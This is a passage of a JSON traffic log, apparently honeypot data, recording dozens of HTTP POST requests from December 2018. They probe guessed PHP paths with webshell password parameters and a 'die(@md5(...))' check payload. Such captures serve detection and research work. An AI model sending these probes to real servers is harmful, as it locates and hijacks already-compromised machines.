  809. "data": "POST /ss.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nadmin=die(@md5(D3c3mb3r));"
  810. },
  811. {
  812. "@timestamp": "2018-12-17T09:39:30.000Z",
  813. "data": "POST /qw.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nqw=die(@md5(D3c3mb3r));"
  814. },
  815. {
  816. "@timestamp": "2018-12-17T09:39:30.000Z",
  817. "data": "POST /test.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\npass=die(@md5(D3c3mb3r));"
  818. },
  819. {
  820. "@timestamp": "2018-12-17T09:39:30.000Z",
  821. "data": "POST /caonma.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncaonma=die(@md5(D3c3mb3r));"
  822. },
  823. {
  824. "@timestamp": "2018-12-17T09:39:29.000Z",
  825. "data": "POST /s.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\na=die(@md5(D3c3mb3r))"
  826. },
  827. {
  828. "@timestamp": "2018-12-17T09:39:28.000Z",
  829. "data": "POST /she.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\npass=die(@md5(D3c3mb3r));"
  830. },
  831. {
  832. "@timestamp": "2018-12-17T09:39:28.000Z",
  833. "data": "POST /zuoshss.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nzuo=die(@md5(D3c3mb3r));"
  834. },
  835. {
  836. "@timestamp": "2018-12-17T09:39:28.000Z",
  837. "data": "POST /boots.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nxiao=die(@md5(D3c3mb3r));"
  838. },
  839. {
  840. "@timestamp": "2018-12-17T09:39:27.000Z",
  841. "data": "POST /zuos.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nzuo=die(@md5(D3c3mb3r));"
  842. },
  843. {
  844. "@timestamp": "2018-12-17T09:39:27.000Z",
  845. "data": "POST /zuoss.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nzuo=die(@md5(D3c3mb3r));"
  846. },
  847. {
  848. "@timestamp": "2018-12-17T09:39:26.000Z",
  849. "data": "POST /ou2.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nzuo=die(@md5(D3c3mb3r));"
  850. },
  851. {
  852. "@timestamp": "2018-12-17T09:39:26.000Z",
  853. "data": "POST /ceshi.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nzuo=die(@md5(D3c3mb3r));"
  854. },
  855. {
  856. "@timestamp": "2018-12-17T09:39:26.000Z",
  857. "data": "POST /1hou.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nzuo=die(@md5(D3c3mb3r));"
  858. },
  859. {
  860. "@timestamp": "2018-12-17T09:39:25.000Z",
  861. "data": "POST /tomcat.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nzuo=die(@md5(D3c3mb3r));"
  862. },
  863. {
  864. "@timestamp": "2018-12-17T09:39:24.000Z",
  865. "data": "POST /zuoindex.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nzuo=die(@md5(D3c3mb3r));"
  866. },
  867. {
  868. "@timestamp": "2018-12-17T09:39:24.000Z",
  869. "data": "POST /linuxse.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nzuo=die(@md5(D3c3mb3r));"
  870. },
  871. {
  872. "@timestamp": "2018-12-17T09:39:24.000Z",
  873. "data": "POST /zshmindex.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nzuo=die(@md5(D3c3mb3r));"
  874. },
  875. {
  876. "@timestamp": "2018-12-17T09:39:23.000Z",
  877. "data": "POST /xz.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 30\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncc1362308=die(@md5(D3c3mb3r));"
  878. },
  879. {
  880. "@timestamp": "2018-12-17T09:39:23.000Z",
  881. "data": "POST /miao.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nmiao=die(@md5(D3c3mb3r));"
  882. },
  883. {
  884. "@timestamp": "2018-12-17T09:39:22.000Z",
  885. "data": "POST /tiandi.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nm=die(@md5(D3c3mb3r))"
  886. },
  887. {
  888. "@timestamp": "2018-12-17T09:39:22.000Z",
  889. "data": "POST /app.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nadc=die(@md5(D3c3mb3r));"
  890. },
  891. {
  892. "@timestamp": "2018-12-17T09:39:22.000Z",
  893. "data": "POST /help.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nadc=die(@md5(D3c3mb3r));"
  894. },
  895. {
  896. "@timestamp": "2018-12-17T09:39:21.000Z",
  897. "data": "POST /sean.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nsean=die(@md5(D3c3mb3r));"
  898. },
  899. {
  900. "@timestamp": "2018-12-17T09:39:20.000Z",
  901. "data": "POST /python.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nq=die(@md5(D3c3mb3r))"
  902. },
  903. {
  904. "@timestamp": "2018-12-17T09:39:20.000Z",
  905. "data": "POST /9510.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nc=die(@md5(D3c3mb3r));"
  906. },
  907. {
  908. "@timestamp": "2018-12-17T09:39:20.000Z",
  909. "data": "POST /default.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nq=die(@md5(D3c3mb3r))"
  910. },
  911. {
  912. "@timestamp": "2018-12-17T09:39:19.000Z",
  913. "data": "POST /phpinfi.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nxiao=die(@md5(D3c3mb3r));"
  914. },
  915. {
  916. "@timestamp": "2018-12-17T09:39:19.000Z",
  917. "data": "POST /3.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n321=die(@md5(D3c3mb3r));"
  918. },
  919. {
  920. "@timestamp": "2018-12-17T09:39:18.000Z",
  921. "data": "POST /h1.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nh=die(@md5(D3c3mb3r));"
  922. },
  923. {
  924. "@timestamp": "2018-12-17T09:39:18.000Z",
  925. "data": "POST /test.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nhello=die(@md5(D3c3mb3r));"
  926. },
  927. {
  928. "@timestamp": "2018-12-17T09:39:18.000Z",
  929. "data": "POST /aaaa.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\naaaa=die(@md5(D3c3mb3r));"
  930. },
  931. {
  932. "@timestamp": "2018-12-17T09:39:17.000Z",
  933. "data": "POST /post.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n0o0=die(@md5(D3c3mb3r))"
  934. },
  935. {
  936. "@timestamp": "2018-12-17T09:39:16.000Z",
  937. "data": "POST /qq.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nm=die(@md5(D3c3mb3r))"
  938. },
  939. {
  940. "@timestamp": "2018-12-17T09:39:16.000Z",
  941. "data": "POST /1213.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nm=die(@md5(D3c3mb3r))"
  942. },
  943. {
  944. "@timestamp": "2018-12-17T09:39:16.000Z",
  945. "data": "POST /qwe.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nm=die(@md5(D3c3mb3r))"
  946. },
  947. {
  948. "@timestamp": "2018-12-17T09:39:15.000Z",
  949. "data": "POST /ip.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nak10=die(@md5(D3c3mb3r));"
  950. },
  951. {
  952. "@timestamp": "2018-12-17T09:39:15.000Z",
  953. "data": "POST /infoo.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n-7=die(@md5(D3c3mb3r))"
  954. },
  955. {
  956. "@timestamp": "2018-12-17T09:39:14.000Z",
  957. "data": "POST /ak.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nak10=die(@md5(D3c3mb3r));"
  958. },
  959. {
  960. "@timestamp": "2018-12-17T09:39:14.000Z",
  961. "data": "POST /hh.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\npass=die(@md5(D3c3mb3r));"
  962. },
  963. {
  964. "@timestamp": "2018-12-17T09:39:14.000Z",
  965. "data": "POST /12.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 28\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nqiurong=die(@md5(D3c3mb3r));"
  966. },
  967. {
  968. "@timestamp": "2018-12-17T09:39:13.000Z",
  969. "data": "POST /aw.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\naw=die(@md5(D3c3mb3r));"
  970. },
  971. {
  972. "@timestamp": "2018-12-17T09:39:12.000Z",
  973. "data": "POST /wanan.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nwanan=die(@md5(D3c3mb3r));"
  974. },
  975. {
  976. "@timestamp": "2018-12-17T09:39:12.000Z",
  977. "data": "POST /qq.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nxx=die(@md5(D3c3mb3r));"
  978. },
  979. {
  980. "@timestamp": "2018-12-17T09:39:12.000Z",
  981. "data": "POST /ssaa.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nq=die(@md5(D3c3mb3r));"
  982. },
  983. {
  984. "@timestamp": "2018-12-17T09:39:11.000Z",
  985. "data": "POST /wan.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nwanan=die(@md5(D3c3mb3r));"
  986. },
  987. {
  988. "@timestamp": "2018-12-17T09:39:11.000Z",
  989. "data": "POST /min.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nwanan=die(@md5(D3c3mb3r));"
  990. },
  991. {
  992. "@timestamp": "2018-12-17T09:39:10.000Z",
  993. "data": "POST /mz.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nlz=die(@md5(D3c3mb3r));"
  994. },
  995. {
  996. "@timestamp": "2018-12-17T09:39:10.000Z",
  997. "data": "POST /xx.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nxx=die(@md5(D3c3mb3r));"
  998. },
  999. {
  1000. "@timestamp": "2018-12-17T09:39:10.000Z",
  1001. "data": "POST /yumo.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n4875=die(@md5(D3c3mb3r));"
  1002. },
  1003. {
  1004. "@timestamp": "2018-12-17T09:39:09.000Z",
  1005. "data": "POST /56.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nc=die(@md5(D3c3mb3r));"
  1006. },
  1007. {
  1008. "@timestamp": "2018-12-17T09:39:08.000Z",
  1009. "data": "POST /q.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nq=die(@md5(D3c3mb3r));"
  1010. },
  1011. {
  1012. "@timestamp": "2018-12-17T09:39:08.000Z",
  1013. "data": "POST /l8.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n2=die(@md5(D3c3mb3r))"
  1014. },
  1015. {
  1016. "@timestamp": "2018-12-17T09:39:08.000Z",
  1017. "data": "POST /l7.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncnm=die(@md5(D3c3mb3r))"
  1018. },
  1019. {
  1020. "@timestamp": "2018-12-17T09:39:07.000Z",
  1021. "data": "POST /system.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r));"
  1022. },
  1023. {
  1024. "@timestamp": "2018-12-17T09:39:07.000Z",
  1025. "data": "POST /l6.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncnm=die(@md5(D3c3mb3r))"
  1026. },
  1027. {
  1028. "@timestamp": "2018-12-17T09:39:06.000Z",
  1029. "data": "POST /aotu.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 28\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\naotu177=die(@md5(D3c3mb3r));"
  1030. },
  1031. {
  1032. "@timestamp": "2018-12-17T09:39:06.000Z",
  1033. "data": "POST /bak.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r));"
  1034. },
  1035. {
  1036. "@timestamp": "2018-12-17T09:39:06.000Z",
  1037. "data": "POST /cmd.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r));"
  1038. },
  1039. {
  1040. "@timestamp": "2018-12-17T09:39:05.000Z",
  1041. "data": "POST /zuo.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nzuo=die(@md5(D3c3mb3r));"
  1042. },
  1043. {
  1044. "@timestamp": "2018-12-17T09:39:04.000Z",
  1045. "data": "POST /hm.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nhm=die(@md5(D3c3mb3r));"
  1046. },
  1047. {
  1048. "@timestamp": "2018-12-17T09:39:04.000Z",
  1049. "data": "POST /cainiao.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 29\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n23051831=die(@md5(D3c3mb3r));"
  1050. },
  1051. {
  1052. "@timestamp": "2018-12-17T09:39:04.000Z",
  1053. "data": "POST /zuoshou.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nzuo=die(@md5(D3c3mb3r));"
  1054. },
  1055. {
  1056. "@timestamp": "2018-12-17T09:39:03.000Z",
  1057. "data": "POST /q.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nnidie=die(@md5(D3c3mb3r));"
  1058. },
  1059. {
  1060. "@timestamp": "2018-12-17T09:39:03.000Z",
  1061. "data": "POST /pe.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\npass=die(@md5(D3c3mb3r));"
  1062. },
  1063. {
  1064. "@timestamp": "2018-12-17T09:39:02.000Z",
